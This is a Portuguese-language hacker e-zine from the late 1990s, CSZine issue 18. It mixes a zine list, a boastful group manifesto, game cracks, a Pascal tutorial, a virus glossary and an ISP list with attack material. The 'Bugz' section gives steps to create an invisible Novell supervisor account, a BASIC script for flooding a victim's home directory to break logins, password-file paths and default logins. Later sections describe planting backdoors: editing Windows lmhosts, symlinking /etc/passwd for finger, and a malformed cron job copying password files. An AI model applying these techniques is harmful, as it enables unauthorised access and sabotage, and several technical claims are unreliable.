Cszine 18

eZine lover (@eZine)

Published in 

CSZine

 · 1 year ago

                    zZZZZZZZZZZZZZZZZZZZZZZZZ 
                                          zZ 
                                         zZ 
                                        zZ 
                                       zZ 
                                      zZ 
                 CCCCCCCCCCCCCCCC    zZ SSSSSSSSSSSSSSSS 
                CCCCCCCCCCCCCCCCC   zZ SSSSSSSSSSSSSSSSS 
               CCCCCCCCCCCCCCCCCC  zZ SSSSSSSSSSSSSSSSSS 
              CCCCCC        CCCCC zZ SSSSSS        SSSSS 
             CCCCCCC             zZ SSSSSSS 
            CCCCCCCC            zZ SSSSSSSSSSSSSSSSSSSSS 
            CCCCCCCC           zZ  SSSSSSSSSSSSSSSSSSSSS 
             CCCCCCC          zZ                SSSSSSS 
              CCCCCC        CCCCC  SSSSS        SSSSSS 
               CCCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSSS 
                CCCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSSS 
                 CCCCCCCCCCCCCCCC  SSSSSSSSSSSSSSSS 
                         zZ 
                        zZ 
                       zZ 
                      zZ 
                     zZ 
                    zZZZZZZZZZZZZZZZZZZZZZZZZine 

                        by Cheat Struck

Belo visual naum?

UIN da revista : 16623675
Canal da revista : #CSCHANNEL no irc.via-rs.com.br
E-Mails da revista : cszine@hotmail.com
cszine@xoommail.com
Memoserv da revista: /msg memoserv send Struck <msg>
(Soh no via-rs)
Page da revista : http://members.xoom.com/cszine

Introdução

Nossa! Agora que eu fui perceber. A CSZine eh a que contém maior numero de ediçıes das zine Brasileiras. Pelo menos das zines que eu conheço. Olha soh.. Nessa edição eu coloquei uma lista de numeros de todas as zines que eu jah lí. Os endereços delas estão nessa lista tb, soh não garanto que todos ainda funcionem, pois muitas zines dessas jah foram extintas.

Agora analizando a CSZine com as zines de fora, tipo phrack(que jah tah na 53a edição ou mais) a CSZine fica de lado. Porém jah passamos uma das maiores zines da espanha, a SET(antiga saqueadores). Estamos no caminho.

Ae vc chega: "tah mas a Axur05 eh bem maior". Reconheço que a maior parte das zines são gigantescas no seu tamanho. Mas vamos pegar o exemplo da Axur05. Juntando as 4 ediçıes da Axur nós temos 457Kb, emquanto juntando todas as ediçıes da CSZine nos atingimos 556Kb. Legal neh. Passamos em tamanho da maior e melhor(Tb acho) zine hacking brasileira.

Se vc prefere que a CSZine seja mensal e no inicio de cada mes eu atualize a page (ao invéz de atualiza-la 2x por semana) para que vc gaste uma meia hora para baixar uma unica edição. Tudo bem. Mandem mails para mim que a maioria vai ganhar(embora eu não aredite muito em democracia).

Falow Malukos!

Indice

Seção:	Materia:		Assunto:		Autor:		Nota: 
1.	Lista de zines		Lista de zines br.	Cheat Struck	10,0 
2.	Manifesto		MOS Manifesto		Membros da MOS	9,5 
3.	Crackerz		Crackeando Jogos	Cheat Struck 
				Outros Crackz		WarJones	10,0 
4.	Phreaking		Nova BOX Brasileira	Cheat Struck	10,0 
5.	Programação		Tutorial de Pascal	Cheat Struck	9,5 
6.	VIRII			Informaçıes sobre virus	Thunder BYTE	9,0 
7.	Bugz			Bugz para redes Novell	Simon Phoenix	10,0 
8.	Invasão de privacidade	Windows 95		Cheat Struck	9,0 
9.	Hack, the Art		Novas backdoors		Cheat Struck	9,5 
10.	°°°BoNuS!!!		Lista de provedores	Cheat Struck	10,0

1. Lista de zines

Lista de zines brasileiras

• OBS1: O numero entre parenteses ao lado do nome da zine é o numero de ediçıes da zine.
• OBS2: Aki estah a lista de zines serios. O barata Eletrica e o Technoraculo não aparecem pois são mais zines de noticias.

* ALZINE (3)
http://www.geocities.com/siliconvalley/way/7029

* AXUR05 (4)
http://www.axur05.org

* B.H.J. - Brasilian Hackers Journal (1)
http://www.geocities.com/SiliconValley/Heights/6152

* Count Down (1)
http://www.geocities.com/Pentagon/Quarters/3673

* Chaos100 (3)
http://www.geocities.com/Pentagon/5140
http://chaos100.home.ml.org

* CYBERNETiK ZiNE (1)
http://www.geocities.com/HotSprings/6381

* Ezine Conscience (5)
http://www.civila.com/brasil/conscience

* FreeLand Zine (3)
http://www.infolink.com.br/~andresb/index.htm

* Fucker World (3)
http://members.xoom/fw1

* DOV (2)
http://www.geocities.com/Baja/5153

* Hack and Phreak (5)
http://www.hackphr.home.ml.org

* Immortal Zine (1)
http://www.loc.base.org

* Linux Journal (1)
http://www.openline.com.br/linux-br

* KMC Zine (2)
http://www.thepentagon.com/kmc
http://members.tripod.com/~the_kmc

* MOS, Boletim Tecnico (1)
http://www.thepentagon.com/mos

* Near(Z) (7)
http://nearz.home.ml.org

* Zine NETHAC (3)
http://www.geocities.com/SiliconValley/Lakes/2233
http://www.geocities.com/SiliconValley/Lakes/3095

* POLICY SECURITY E-ZINE (2)
http://www.thepentagon.com/policy

* PSICO CYBER (2)
http://www.angelfire.com/id/psicocyber

* Quebra de Sigilo (2)
player@mandic.com.br
renatoma@mandic.com.br

* Rnet Zine Hacker (2)
http://www.lpnet.com.br/users/rnet

* RWX (6)
http://www.rwx.ml.org

* ThÎ Brasilian Phreakers Journal (2)
http://phineas.home.ml.org

* UHF - Unit Hacker Force (3)
http://uhf.home.ml.org

* Woh Zine (13)
http://www.geocities.com/Athens/Acropolis/7632

Total de Zines : 25
Total de ediçıes : 78
Boa literatura heim? E pensar que eu jah lí tudo isso.

2. Manifesto

MOS Manifesto

Atenção!!! Estre Manifesto estava todo escrito na Letra Original que o grupo MOS inventou. Porém, por ficar muito ruim de lêr eu passei-o para o normal.

Nos somos do M.O.S., o melhor grupo underground do pais. Nos assumimos isso publicamente porque nos somos simplesmente os melhores.

Nos somos eleet. ok, nos somos muito mais que isso, mas a unica coisa que você realmente precisa saber, e' que nos somos ELEET!

Vocês nos chamam de lamerz, mas por tras disso, esconde-se o fato de que você se quer consegue imaginar oque podemos fazer com a tecnologia, e como o fazemos. Esconde-se a sua inferioridade, e a mediocridade da sua falta de conhecimenTo.

Nos somos tão bons que nem se você conseguise usar o maximo da merda do seu cerebro, poderia contar quantos hosts nos ja hackeamos. Se você ao menos tentasse descobrir os trojans que ja criamos e implantamos em cada servidor, você com certeza mijaria em suas calças.

Nos não temos problemas de celular, pois horientamos a rota de nossas ligaçıes. Nos podemos desligar seu telefone num piscar de olhos se assim nos interessar. podemos te achar no fim do mundo se preciso for. podemos propagar o CAOS, e impor o medo no mais incredulo dos coraçıes. Nos hackeamos o estado , o governo, e a porra dos militares, nos fizemos o primeiro viruz de macro do país! Nos ja infectamos e rootamos mais sistemas do que você seuer consegue imaginar! Nos somos da MOS, e podemos fazer o que quisermos.

Vamos encarar os fatos, vivemos em um mundo de zeros e ums, em que quem comanda sua misera vida são as maquinas, as quais você teme, pois não consegue comprender.

Você e' tão burro que tem ate dificuldade em ler esse texto!

Você não pode nos parar. Nos, nos escondemos na sombra do meio-dia, vivemos em outra realidade, a qual você tambem não pode compreender...

Nos, somos o inicio do cyber-caos, a reencarnação do mal. Nosso prazer e' lhe fazer de burro, tirar seu sono, tirar sua calma. Nosso prazer e' conseguir algo publico, que você despreza: o *conhecimento*.

Nos, somos aqueles que farão você pensar 2 vezes antes de ligar o computador, ou usar o telefone. E tudo o que vocês lamerz podem tentar fazer para escapar a nossa furia, e' desligar-se da tomada....

Não tente se rebelar, do contrario, nos acharemos seu sistema, seu telefone, e você ira perceber que existem coisas piores que a morte...

[Membros da MOS]

3. Crackerz

Crackeando Jogos

Eu andava pensativo.. pensativo.. pensando no que colocar nessa seção. Jah que a lista de hexas não passa muita informação, embora seja a primeira lista de hexas no Brasil. Pelo menos eu não achei nenhuma. Então decidi. Eu vou continuar com a lista, mas separado da zine. Quando acabar ela, vai estar na area oThErS da page.

Então o que colocar no lugar?? Que tal crackearmos jogos??

Claro que não vamos começar com algo grandioso tipo.. Crackear o "The Neverhood". Vamos começar de baixo, com jogos simples.

Tipo.. Descobrindo as passwords do jogo

Vamos tomar como exemplo o BlackThorne. … meio antigo mas ainda agrada um bom publico. Primeiro de uma jogadinha e descubra a senha para a primeira e segunda fase(rapidinho).
Seriam:

FBWC 
QP7R

Agora rode o editor hexadecimal no jogo e procure por essas Strings. A primeira estara em 78.511, a segunda em 78.521. Notou a semelhança?? Todas acabam com 1. Conte os caracteres da senha(4). Agora conte os Caracteres entre uma passwd e outra(6), total, de dez em dez conjunto de hexas esta uma password.

Com isso e' possivel tirar uma lista detalhada das passwords do jogo.

FBWC		TJ1F		MJXG 
QP7R		GSG3		K3CH 
WJTV		BMHS		L8VJ 
RRYB		Y4DJ		PBKT 
Z59P		HCKD		TNLQ 
XJ5N		NRLF		FMWY 
CGDN		J6BZ		L2RP

Tipo.. trocando Personagens

Esse e' o meio mais facil. Eu fazia muito antes de saber oque era um Warez. A primeira vez que fiz foi com o jogo "Hugo House of Horros".

E' moleza. Repare que no jogo tipo esse existem varios arquivos com nomes diferentes e com a mesma extenção. Tipo..

 mummy.hhh 
 dog.hhh 
 oldman.hhh

Cada arquivo desses equivale a um personagem do jogo. Entao a unica coisa que você tem que fazer e' nomear um com o nome do outro. Tipo.. Se eu quisesse que a mumia aparecesse no lugar do cachoro..

 mummy.hhh  <--- Rename dog.hhh 
 dog.hhh    <--- Rename mummy.hhh 
 oldman.hhh

Porém isso resultaria em alguns danos como o cão se movimentaria como a mumia, então se por exemplo a mumia tivesse o movimento de salto e o cão não. O jogo faria com que o cão fizesse um movimento qquer mas saltasse.

Outro jogo que eu fiz isso foi um bem antigão. Para PC-XT. Acho que era "YO-NOID vs XXXX", onde vc jogava com um carinha e tinha que escapar dos YO-NOIDS(Uns carinhas tipo o Chapolim). Ae eu troquei os arquivos do YO-NOID pelo do carinha com quem tu jogava. Resultado: Joguei com os YO-NOIDS e tinha que fugir dos homenzinhos.

Em jogos de luta isso pode ser meio ˙til. Imagina no "Street II". Dar um Hadouken apertando <-, ->, soko.

-=-=-=-=-=-=-=-=-=-=-=

Outros Crackz (por WarJones)

-=-=-=-=WORLD CIRCUIT=-=-=-=-=-
Rode o editor hexadecimal no jogo e modifique a linha:

BA 43 00 B0 00 EE 4A 4A		<--- Linha original. 
BB 92 0B B8 0B 00 54 CB		<--- Linha modificada.

Agora entre no jogo e digite a senha "MONZA".

-=-=-=-=-=LOST VIKINGS=-=-=-=-=-
Rode o editor hexadecimal no arquivo setup.exe e modifique a linha:

3B 87 C6 08 75 12 33		<--- Linha original. 
3B 87 C6 08 90 90 33		<--- Linha modificada.

-=-=-=-=-=THE SIMPSONS=-=-=-=-=-
Rode o editor hexa no simpsons.exe e modifique a linha:

74 1A A0 E4 47			<--- Linha original. 
EB 1A A0 E4 47			<--- Linha modificada.

-=-=-=-=-=THE NEED FOR SPEED=-=-=-=-=-
Jogue o torneio e salve o jogo em qquer parte. Ae rode o editor hexa no arquivo de jogo salvo e modifique a linha:

5A 00 20 00 43 00 48 00 00 00 00 00 00 00 00 00 00 00 00    <--- Original. 
5A 00 20 00 43 00 48 00 01 00 01 00 01 00 01 00 01 00 01    <--- Modificada.

Agora va no local onde se coloca os nomes. Aki estão os códigos:

EAC POWR-The Warrior Car
EAC WARP-Speed
EAC RALY-Rusty Springs

-=-=-=-=-=SIM EARTH=-=-=-=-=-
Rode o editor hexa no simearth.exe e modifique a linha:

74 03 E9 46 01		<--- Original. 
74 00 E9 40 01		<--- Modificada.

-=-=-=-=-=POPULOUS=-=-=-=-=-
Rode o editor hexadecimal no populous.exe e modifique a linha:

3B 46 0C 75 09 8B 46 0C A3 82 2A	<--- Original. 
3B 46 0C 74 09 8B 46 0C A3 82 2A	<--- Modificada.

-=-=-=-=-=MEGA RACE 2=-=-=-=-=-
Salve o jogo em qquer parte. Rode o DEBUG no jogo e digite:

e 124 ff ff ff 
w 
q

4. Phreaking

Nova BOX Brasileira

Ao contrario de muitos que dizem que estão com planos de boxes em mente, mas nunca fazem nada. Eu estou trazendo as boxes dos EUA para o Brasil e descobrindo novas.

Essa e' novissima! Descobri ainda essa semana.

O que ela faz eh permitir que uma extenção ou a linha inteira do telefone funcione ou não usando apenas um botão. Animal neh. Imagina soh.. Seu irmão menor ligou para o seu pai (que estah trabalhando e ficaria furioso em ser interrompido por uma besteira) para contar que vc bateu nele.

Então ele todo felizinho por ter se trancado no quarto com o telefone sem fio e vc não podera impedilo. Ai se chega nessa box estratégicamente colocada atraz da geladeira e desliga a linha temporariamente apertando apenas um botãozinho.

Legal naum?

Faça o seguinte.. Na sua casa deve ter dakeles abajur antigos que tem o botão de liga/desliga parecido com um interruptor neh?? Pegue um jah que não estejam usando e corte os fios botão-lampada e do botão-tomada, sendo que o botão é esse tipo interruptor liga/desliga.

Aí ligue os 2 fios da extensao nesses dois fios arranjados.

Fica mais ou menos assim:

                         __________ 
fio1 do telefone        /  ______  \        fio2 do telefone 
=================+=====|  |______|  |======+================= 
                        \__________/ 
                      Akele botãozinho

Pronto! Agora vc liga e desliga a extenção como se fosse um abajur.

Animal neh? Como eu que inventei essa box, eu poderia batizala com qquer nome, mas eu não tenho nada criativo pra pensar. Talvéz button box??? Não neh?

Não duvido que apareça muito lokinho copiando e dizendo que inventou.

5. Programação

Vamos acabar logo com isso..

Tutorial de Pascal (ultima parte)

ªªªªªªªªªªªªªªª Ultimas Procedures ´´´´´´´´´´

* New
Cria nova variavel dinamica
Sintaxe : New(var);

* Dispose
Apaga o variavel
Sintaxe : Dispose(var);

* Release
Altera o valor da variavel para o topo
Sintaxe : Release(var);

* Mark
Atribui o valor topo atual
Sintaxe : Mark(Var);

* GetMen
Prende um valor no espaço HEAP
GetMen(var, valor);

* FreeMen
Libera um valor no espaço HEAP
FreeMen(Var, valor);

ªªªªªªªªªªªªªªª Ultimas Functions ´´´´´´´´´´´´´´´

* MaxAvail
Retorna o numero de paragrafos num bloco HEAP

* MenAvail
Retorna o numero de paragrafos no HEAP

Script para enganar os HACKERS’ES

Primeiro adicione uma conta no sistema assim:

guest::9999:1:Hackerzao:/usr/guest:/usr/adm/guestlogin

Agora coloque este script no /usr/adm/guestlogin

-------------------------------guestlogin----------------------------------- 
echo " Guest login" >> /var/adm/warn.guest 
sleep 20 
echo "/tmp/full" 
sleep 5 
echo "Acesso a Rede de Dados do Ministerio do Exercito Brasileiro" 
echo "Espere um momento..." 
sleep 120 
exit 

----------------------------------------------------------------------------

Com isso o kra vai entrar com a conta guest, ae fica o tempão esperando o sistema responder, pensando que o sistema tah lotado, então cai.

Sakanagem heim.

6. VIRII

Informaçãoes sobre virus (original de Thunder BYTE)

Este texto foi escrito em ingles por Thunder BYTE e traduzido por mim. Para quem não sabe, Thunder BYTE e' o criador do anti-virus TBAV, usado na maioria das BBS.

******************** Informaçıes sobre... ********************

Trojan
Isso não é um virus e sim um Trojan Horse. Ele não pode extender-se porem pode causar diversos danos. Determina o caminho do arquivo e o deleta.

Dropper
Esse arquivo não é um virus, e sim uma Dropper do virus. Se vc rodar esse arquivo ele irá instalar o virus no seu sistema. … recomendado que voce delete esse arquivo.

Joke
Esse arquivo é completamente inocente. Ele somente imita uma atividade de um virus mas é inofensivo de fato. Apenas delete-o se voce não gostar dele.

Garbage
Isso não é um virus, apenas assume uma identidade parecida com a de um vírus.

Tool
De fato, isso não e' apenas um virus, mas uma categoria vironica.

Companheiro
Esse é um companheiro do vírus. O que faz e' aquela velha rotina: Se disfarça em um programa e ao executa-lo, inicia o vírus e depois o programa original.

******************** Os vírus podem infectar... ********************

COM
Arquivos COM.

EXE
Arquivos EXE.

SYS
Device drivers.

BOOT
Setores boot.

Outros
Porém alguns vírus possuem variantes desconhecidas podendo infectar outros itens.

******************* Os vírus podem ser... *******************

Residentes
Ele pode permanecer residente na memoria e infectar/danificar outras vitimas em segundo plano.

Polimorphico
O virus polimorphico fica diferente toda a vez que infecta um arquivo . Qquer anti-virus tem dificuldades para detectar esse virus.

Criptografado
O virus encriptado usa uma assinatura complexa para que não possam encontra-lo. Em compensação, os anti-virus não tem muitos problemas para detectar esses virus.

HLL
O virus não é escrito em assembly, mas em uma linguagem de alto nível (high-level language). Isso causa muitos alarmes falsos nos anti-virus.

Stealth
Esse virus tem capacidades 'stealth'(secretas), que servem para esconder certos dados de um usuario ou de um anti-virus.

Mus
Emite sons irritantes.

Msg
Exibe mensagens desagradaveis na tela.

Hang
Paraliza o sistema.

Obvio
E' um virus obvio feito para ser encontrado, as vezes para distrair o usuario por um outro vírus mais fatal. Na maioria das vezes ele da' o sinal para o vírus fatal.

SClean
Apaga informaçıes em discos, incluindo em disquetes caso infecte o boot. E' recomendavel que ative a proteção de gravação no diskete caso um virus dessa categoria seja detectado.

Data
Este virus e' conhecido por corromper arquivos de dados. E' recomendavel a feita de um backup imediatamente, caso o virus seja detectado.

Ovw
Esse vírus não pode ser deletado. Caso isso aconteça, os arquivos infectados por ele serão destruidos.

Clean
Este vírus destruirá todos arquivos executaveis que encontrar no disco.

ClnBoot
Apaga o boot. Voce precisa restaurar o DOS bootsector original e/ou arquivos de sistema. Tb formate todos os disketes que foram inseridos em quanto o virus estava ativo, caso contrario o virus pode voltar.

MBR
Caso um virus com MBR seja detectado por um anti-virus, vc deve apagar o codigo de partiçao. Você pode fazer isso pelo DOS digitando FDISK /MBR.

EClean
O virus pode possuir novas variantes vironicas que o antivirus não saiba destinguir suas funçıes.

7. Bugz

Bugz para Novell (por Simon Phoenix)

Eu lí a materia que o Struck escreveu semana passada sobre redes novell e achei meio fraca. Por isso eu decidi fazer mais uma parte na zine e escrever sobre exatamente o que eu sei sobre os bugz encontrados em redes novell. Espero que gostem.

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 4.x
* Descrição : Contas fantasmas
* Exploit:

1. Execute o NWADMIN.
2. Crie um novo usuario.
3. De privilegios de administrador para o usuario.
4. Clique com o botão direito sobre o usuario.
5. Selecione trustees.
6. Elimine as trustees Root e Public.
7. Selecione o usuario e mude seus direitos.
8. De direito de Supervisor.
9. Selecione o Filtro de Direitos.
10. Cancele todos os valores.
11. Prontinho. A conta esta invisivel.

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : FTP Netware
* Descrição : Redução de memoria
* Exploit :
Basta abrir multiplas seçıes de FTP.

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : ?????
* Descrição : todas
* Exploit : (em basic)

---------------------------Corte Aki--(mkdirs.bas)--------------------------- 
CLS 
INIT$ = "ç" 
FOR A = 65 TO 90 
A$ = CHR$(A) 
FOR B = 65 TO 90 
B$ = CHR$(B) 
FOR C = 65 TO 90 
C$ = CHR$(C) 
FOR D = 65 TO 90 
D$ = CHR$(D) 
FOR E = 65 TO 90 
E$ = CHR$(E) 
FOR F = 65 TO 90 
F$ = CHR$(F) 
LOCATE 1, 1 
PRINT "Diretorio: "; INIT$ + F$ + E$ + D$ + C$ + B$ + A$ + " 
MKDIR INIT$ + F$ + E$ + D$ + C$ + B$ + A$ 
I = I + 1 
NEXT 
NEXT 
NEXT 
NEXT 
NEXT 
NEXT 
-----------------------------------------------------------------------------

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : todas
* Descrição : Destruindo logins
* Exploit :
Rode o programa mkdirs.exe(fonte acima) no dir home do kra.

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : 2.x ,3.x e 4.x
* Descrição : Caminho do arquivo de senhas

(Os arquivos estão com atributo sistema e oculto)
Netware 2.x -SYS:\SYSTEM\NET$BVAL.SYS
Netware 3.x -SYS:\SYSTEM\NET$VAL.SYS
Netware 4.x -SYS:\_NETWARE\??.SYS

´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´ª´
* Versão : todas
* Descrição : Logins padrıes

PRINT -Login para uso da impresora
LASER -idem
HPLASER -idem
PRINTER -idem
LASERWRITER -idem
DESKJET -idem
POST -Login para uso do email
MAIL -idem
GATEWAY -login para gateway
GATE -idem
ROUTER -login para router
BACKUP -login para copias de segurança
CHEY_ARCHSVR -idem
WANGTEK -login para ver copias de seguança
ARCHIVIST -idem
FAX -login para uso do fax
FAXUSER -idem
FAXWORKS -idem
TEST -login para testes
WINDOWS_PASSTHRU -login para compartilhamento de recursos do Win95.
ROOT -Login do root. A senha é AdminGUI

8. Invasão de privacidade

Insegurança no Windows 95

Existem muitos textos espalhados pela inet que falam que o compartilhamento de arquivos do windows é insegura. Que qualquer um pode invadir o seu sistema apenas sabendo o seu IP. Vou esclarecer estes textos para não falarem mais bobagens por ai.

Primeiro.. Veremos os seguintes arquivos:

\WINDOWS\services=Serviços udp/tcp
\WINDOWS\hosts.sam=exemplo de hosts
\WINDOWS\hosts=Nomes dados aos IPs
\WINDOWS\lmhosts.sam=exemplo de lmhosts
\WINDOWS\lmhosts=IPs de usuarios que podem mapear seu HD.
\WINDOWS\networks=Trabalhos que o Win executara em rede.

Alguns arquivos dos listados acima você terá que criar. Todos os demais são instalados junto com o protocolo TCP/IP.

Agora compare-os com os arquivos de um UNIX. Vamos ver..

Aki nos temos o services....no Linux também.
Aki nos temos o hosts.......no Linux também.
Aki nos temos o networks....no Linux também.
Aki nos temos o lmhosts.....no Linux não.

Tai o arquivo a ser modificado para implantar a backdoor. Em quanto muitos dizem que nesse arquivo devem conter os IPs dos sistemas que você pode mapear, seguindo akelas informaçıes dos textos de invasão por IP.

Você acha que a microsoft e' assim tão burra?? Tah, sim, mas não tanto a fazer um sistema aberto a mapeação apenas se descobrirem o seu ip. Isso seria morte na certa.

Ae você tera que implantar uma backdoor aqui..

Esse arquivo funciona como o hosts.allow no Linux. Qualquer IP que esteja ai pode acessar o seu sistema. Entaum logo depois de entrar no sistema vc pega este arquivo e coloca o seu IP ou poe 'allall'.

Agora eh soh mapear o sistema do kra e pronto. Epa.. Não eh tão facil assim, o kra tem que tar com os Arquivos compartilhados a rede.

Hm.. repare em outros detalhes.. Tipo as portas 137 e 138 (serviços netbios) não estão no services. Entaum quer dizer que akeles textos que diziam que o nuke oob poderia ser dado por qualquer serviço netbios tb estão errados! Quanta coisa inventada naum? A unica porat que funciona para esse nuke eh a 139(netbios-session).

Outros serviços que podem te dar uma baita informação sobre o sistema do kra estão aki disponiveis. Como o finger, systat, netstat, whois,...

Ta ai explicada a velha "invasão por IP".

9. Hack, the Art

Essas backdoors foram retiradas da zine Axur05(vcs conhecem naum?)

Finger Backdoor

Siga os passos:

1. Execute um finger no root
2. Linke o /etc/passwd no .plan (criado pelo finger). O arquivo .plan deverá estar no diretório home do root.
3. Execute novamente o finger no root. Surpresa!

Se o finger estiver desabilitado no sistema, habilite-o tirando o seu comentario no arquivo /etc/inetd.conf.

Exemplo do que deve ser feito:

# finger root 

    Login: root                             Name: The roouter 
    Directory: /project                     Shell: /bin/bash 
# cd ~ 
# ln -s /etc/passwd .plan 
# finger root 

    Login: root                             Name: The roouter 
    Directory: /project                     Shell: /bin/bash 
    On since Mon Sep 30 16:29 (EDT) on tty4 
    On since Mon Sep 30 16:32 (EDT) on tty5   23 seconds idle 
    Last login Mon Sep 30 16:54 (EDT) on tty6 
    No mail. 
    Plan: 
    root:Jovl41fdofLrM:0:0:The roouter:/project:/bin/bash 
    ...

Não eh bem uma backdoor mas entendeu pra que serve neh.

Cron Backdoor

Edite o arquivo /usr/lib/cron/cron.allow e adicione a seguinte linha.

00	24	1	*	*	"cat /etc/passwd /home/struck/.local"

Com essa backdoor, de mes em mes vc atualizará a lista de senhas do sistema, sendo que serão dirigidas todas para o arquivo /home/struck/.local a meia-noite do 1o dia de cada mes.

Agora explicando:

00	24	1	*	*	"cat /etc/passwd /home/struck/.local" 
|	|	|	|	|	| 
|	|	|	|	|	+---> Comando 
|	|	|	|	| 
|	|	|	|	+---> dia da semana(* = qquer dia) 
|	|	|	| 
|	|	|	+---> mes(* = todos) 
|	|	| 
|	|	+---> dia do mes(dia primeiro de todos os meses) 
|	| 
|	+---> hora 
| 
+---> minuto

10. °°°BoNus!!!

Lista de provedores - Rio de Janeiro (1a parte)

* Provedor : AirNet
Host : airnet.com.br
Telefone : 5332084
Email : comercial@airnet.com.br

* Provedor : AllNet
Host : allnet.all.com.br
Telefone : 2405068
Email : mala@allnet.all.com.br

* Provedor : AlterNexÆ/IBASE
Host : ibase.com.br
Telefone : 5150500
5150505
Email : webmaster@alternex.com.br

* Provedor : Antares Provedor Internet
Host : antares.com.br
Telefone : 2330198
2530625
Email : comercial@antares.com.br

* Provedor : Arras Informatica e Tecnologia S/C Ltda
Host : arras.com.br
Telefone : 2241100
Email : helpdesk@arras.com.br

* Provedor : BarraLink
Host : barralink.com.br
Telefone : 3253725
Email : postmast@barralink.com.br

* Provedor : BIOHARDWARE Informatica Ltda
Host : biohard.com.br
Telefone : 5121868
5122484
Email : webmaster@biohard.com.br

* Provedor : CelNet
Host : celnet.com.br
Telefone : 5431270
Email : info@pontocom.com.br

* Provedor : Centralcard
Host : centralcard.com.br
Telefone : 5332716
2214015
Email : webmaster@central.com.br

* Provedor : Centroin
Host : centroin.com.br
Telefone : 2956695
5424849
2952978
Email : admin@centroin.com.br

* Provedor : CyberNet
Host : cybernet.com.br
Email : info@cybernet.com.br

* Provedor : DCNet
Host : dcnet.com.br
Telefone : 2335525
2337050
Email : DCNET@CAIXAPOSTAL.COM.BR

* Provedor : Digital HighWay
Host : highway.com.br
Telefone : 5121252
2595845
Email : webmaster@highway.com.br

* Provedor : Domain
Host : domain.com.br
Telefone : 5155055
Email : contab@domain.com.br

* Provedor : EasyLine Provedor Internet
Host : easyline.com.br
Telefone : 5311700
5310200
Email : webmaster@easyline.com.br

* Provedor : Esquadro ISP
Host : esquadro.com.br
Email : webmaster@esquadro.com.br

* Provedor : FST Informatica Ltda.
Host : fst.com.br
Email : fst@fst.com.br

* Provedor : Hexanet Informatica
Host : hexanet.com.br
Telefone : 4331464
2639027
2333739
Email : info@hexanet.com.br

* Provedor : Image Link
Host : imagelink.com.br
Telefone : 2670699
5225850
Email : suporte@imagelink.com.br

* Provedor : InterNexus Informatica Ltda.
Host : inx.com.br
Telefone : 5127030
5127014
Email : suporte@inx.com.br

* Provedor : Iptec
Host : iptec.com.br
Telefone : 5150403
5150400
Email : vendas@iptec.com.br

* Provedor : ISM
Host : ism.com.br
Telefone : 5333937
5331055
Email : ismnet@ism.com.br

* Provedor : M.I. Montreal Informatica
Host : montreal.com.br
Telefone : 5325700
5336028
Email : comercial@montreal.com.br

* Provedor : Marlin
Host : marlin.com.br
Telefone : 2031326
Email : comercial@marlin.com.br

* Provedor : MLS Projetos Informatica
Host : mls.com.br
Telefone : 5378437
Email : webmaster@mls.com.br

Total : 25 provedores.

Qualquer duvida, pergunta, proposta, besteira...
Mail-me!
cszine@hotmail.com